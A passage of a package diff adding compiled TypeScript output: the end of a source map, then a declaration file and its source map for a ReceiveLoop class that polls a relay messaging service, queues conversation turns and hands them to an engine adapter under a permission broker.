C;QAED,kDAAkD;QAClD,IAAI,CAAC,SAAS,CAAC,MAAM,CAAC,QAAQ,CAAC,CAAC;QAEhC,0EAA0E;QAC1E,oEAAoE;QACpE,oEAAoE;QACpE,wEAAwE;QACxE,MAAM,QAAQ,GAAG,IAAI,OAAO,CAAqB,CAAC,OAAO,EAAE,EAAE;YAC3D,MAAM,KAAK,GAAG,UAAU,CAAC,GAAG,EAAE;gBAC5B,IAAI,CAAC,OAAO,CAAC,MAAM,CAAC,SAAS,CAAC,CAAC;gBAC/B,IAAI,CAAC,SAAS,CAAC,OAAO,CAAC,SAAS,CAAC,CAAC;gBAClC,IAAI,CAAC,GAAG,CAAC,YAAY,SAAS,mBAAmB,CAAC,CAAC;gBACnD,OAAO,CAAC,YAAY,CAAC,QAAQ,CAAC,CAAC,CAAC;YAClC,CAAC,EAAE,IAAI,CAAC,SAAS,CAAC,CAAC;YACnB,kEAAkE;YAClE,kEAAkE;YAClE,IAAI,CAAC,OAAO,CAAC,GAAG,CAAC,SAAS,EAAE,EAAE,QAAQ,EAAE,OAAO,EAAE,KAAK,EAAE,CAAC,CAAC;QAC5D,CAAC,CAAC,CAAC;QAEH,IAAI,CAAC;YACH,MAAM,MAAM,GAAG,MAAM,IAAI,CAAC,MAAM,CAAC,WAAW,CAAC,IAAI,CAAC,IAAI,EAAE,IAAI,CAAC,cAAc,CAAC,CAAC;YAC7E,uEAAuE;YACvE,mCAAmC;YACnC,IAAI,IAAI,CAAC,OAAO,CAAC,GAAG,CAAC,SAAS,CAAC,EAAE,CAAC;gBAChC,QAAQ,CAAC,gBAAgB,GAAG,MAAM,CAAC,UAAU,CAAC;gBAC9C,IAAI,CAAC,SAAS,CAAC,GAAG,CAAC,QAAQ,CAAC,CAAC;YAC/B,CAAC;QACH,CAAC;QAAC,OAAO,KAAK,EAAE,CAAC;YACf,2DAA2D;YAC3D,MAAM,MAAM,GAAG,IAAI,CAAC,OAAO,CAAC,GAAG,CAAC,SAAS,CAAC,CAAC;YAC3C,IAAI,MAAM,EAAE,CAAC;gBACX,YAAY,CAAC,MAAM,CAAC,KAAK,CAAC,CAAC;gBAC3B,IAAI,CAAC,OAAO,CAAC,MAAM,CAAC,SAAS,CAAC,CAAC;gBAC/B,IAAI,CAAC,SAAS,CAAC,OAAO,CAAC,SAAS,CAAC,CAAC;gBAClC,IAAI,CAAC,GAAG,CAAC,YAAY,SAAS,6BAA6B,KAAK,EAAE,CAAC,CAAC;gBACpE,MAAM,CAAC,OAAO,CAAC,YAAY,CAAC,QAAQ,CAAC,CAAC,CAAC;YACzC,CAAC;QACH,CAAC;QAED,OAAO,MAAM,QAAQ,CAAC;IACxB,CAAC;CACF"}

package/dist/receive.d.ts

@@ -0,0 +1,54 @@
+import type { RelayClient } from "./api.js";
+import type { RelayMessage, StateStore } from "./store.js";
+import type { EngineAdapter } from "./engine/types.js";
+import { PermissionBroker } from "./permissions.js";
+export interface ReceiveLoopOptions {
+    /** Pinned Relay user id allowed to drive this bridge (required). */
+    ownerUserId: string;
+    debounceMs?: number;
+    cwd?: string;
+    log?: (line: string) => void;
+    /** Injected for tests. */
+    setTimeoutImpl?: typeof setTimeout;
+}
+export declare function turnIdempotencyKey(conversationId: string, eventIds: string[]): string;
+export declare function promptTextFromMessages(messages: RelayMessage[]): string;
+export declare class ReceiveLoop {
+    private readonly client;
+    private readonly state;
+    private readonly engine;
+    readonly broker: PermissionBroker;
+    private readonly ownerUserId;
+    private readonly debounceMs;
+    private readonly cwd;
+    private readonly log;
+    private readonly setTimeoutImpl;
+    private readonly debounceTimers;
+    /** Serializes turns per conversation. */
+    private readonly turnChains;
+    private stopped;
+    constructor(client: RelayClient, state: StateStore, engine: EngineAdapter, broker: PermissionBroker, options: ReceiveLoopOptions);
+    /**
+     * One poll cycle: fetch, dedupe, durably enqueue + ack, schedule flushes.
+     * Exposed for tests; `run()` supervises it forever.
+     */
+    pollOnce(timeoutS?: number): Promise<number>;
+    /** Returns the conversation id when the event was enqueued for the engine. */
+    private routeEvent;
+    private scheduleFlush;
+    private chainTurn;
+    /** Waits for in-flight turns (tests + graceful shutdown). */
+    settle(): Promise<void>;
+    /** Removes THIS turn's consumed events (and its attempt marker) durably. */
+    private clearBatch;
+    private postNotice;
+    private pendingReplyForConversation;
+    /** Idempotently deliver an engine-completed reply without rerunning tools. */
+    private deliverPendingReply;
+    runTurn(conversationId: string): Promise<void>;
+    private startTyping;
+    stop(): void;
+    /** Supervisor: restart the poll loop on failure with capped backoff + jitter. */
+    run(): Promise<void>;
+}
+//# sourceMappingURL=receive.d.ts.map

package/dist/receive.d.ts.map

@@ -0,0 +1 @@
+{"version":3,"file":"receive.d.ts","sourceRoot":"","sources":["../src/receive.ts"],"names":[],"mappings":"AAeA,OAAO,KAAK,EAAE,WAAW,EAAE,MAAM,UAAU,CAAC;AAC5C,OAAO,KAAK,EAA2B,YAAY,EAAE,UAAU,EAAE,MAAM,YAAY,CAAC;AACpF,OAAO,KAAK,EAAE,aAAa,EAAE,MAAM,mBAAmB,CAAC;AACvD,OAAO,EAAE,gBAAgB,EAAE,MAAM,kBAAkB,CAAC;AAEpD,MAAM,WAAW,kBAAkB;IACjC,oEAAoE;IACpE,WAAW,EAAE,MAAM,CAAC;IACpB,UAAU,CAAC,EAAE,MAAM,CAAC;IACpB,GAAG,CAAC,EAAE,MAAM,CAAC;IACb,GAAG,CAAC,EAAE,CAAC,IAAI,EAAE,MAAM,KAAK,IAAI,CAAC;IAC7B,0BAA0B;IAC1B,cAAc,CAAC,EAAE,OAAO,UAAU,CAAC;CACpC;AAED,wBAAgB,kBAAkB,CAAC,cAAc,EAAE,MAAM,EAAE,QAAQ,EAAE,MAAM,EAAE,GAAG,MAAM,CAKrF;AAED,wBAAgB,sBAAsB,CAAC,QAAQ,EAAE,YAAY,EAAE,GAAG,MAAM,CAWvE;AAED,qBAAa,WAAW;IAYpB,OAAO,CAAC,QAAQ,CAAC,MAAM;IACvB,OAAO,CAAC,QAAQ,CAAC,KAAK;IACtB,OAAO,CAAC,QAAQ,CAAC,MAAM;IACvB,QAAQ,CAAC,MAAM,EAAE,gBAAgB;IAdnC,OAAO,CAAC,QAAQ,CAAC,WAAW,CAAS;IACrC,OAAO,CAAC,QAAQ,CAAC,UAAU,CAAS;IACpC,OAAO,CAAC,QAAQ,CAAC,GAAG,CAAS;IAC7B,OAAO,CAAC,QAAQ,CAAC,GAAG,CAAyB;IAC7C,OAAO,CAAC,QAAQ,CAAC,cAAc,CAAoB;IACnD,OAAO,CAAC,QAAQ,CAAC,cAAc,CAAqC;IACpE,yCAAyC;IACzC,OAAO,CAAC,QAAQ,CAAC,UAAU,CAAoC;IAC/D,OAAO,CAAC,OAAO,CAAS;gBAGL,MAAM,EAAE,WAAW,EACnB,KAAK,EAAE,UAAU,EACjB,MAAM,EAAE,aAAa,EAC7B,MAAM,EAAE,gBAAgB,EACjC,OAAO,EAAE,kBAAkB;IAS7B;;;OAGG;IACG,QAAQ,CAAC,QAAQ,SAAK,GAAG,OAAO,CAAC,MAAM,CAAC;IAsB9C,8EAA8E;IAC9E,OAAO,CAAC,UAAU;IAkBlB,OAAO,CAAC,aAAa;IAYrB,OAAO,CAAC,SAAS;IAajB,6DAA6D;IACvD,MAAM,IAAI,OAAO,CAAC,IAAI,CAAC;IAI7B,4EAA4E;IAC5E,OAAO,CAAC,UAAU;YAoBJ,UAAU;IAWxB,OAAO,CAAC,2BAA2B;IAQnC,8EAA8E;YAChE,mBAAmB;IAuB3B,OAAO,CAAC,cAAc,EAAE,MAAM,GAAG,OAAO,CAAC,IAAI,CAAC;IA2HpD,OAAO,CAAC,WAAW;IAuBnB,IAAI,IAAI,IAAI;IAMZ,iFAAiF;IAC3E,GAAG,IAAI,OAAO,CAAC,IAAI,CAAC;CA8B3B"}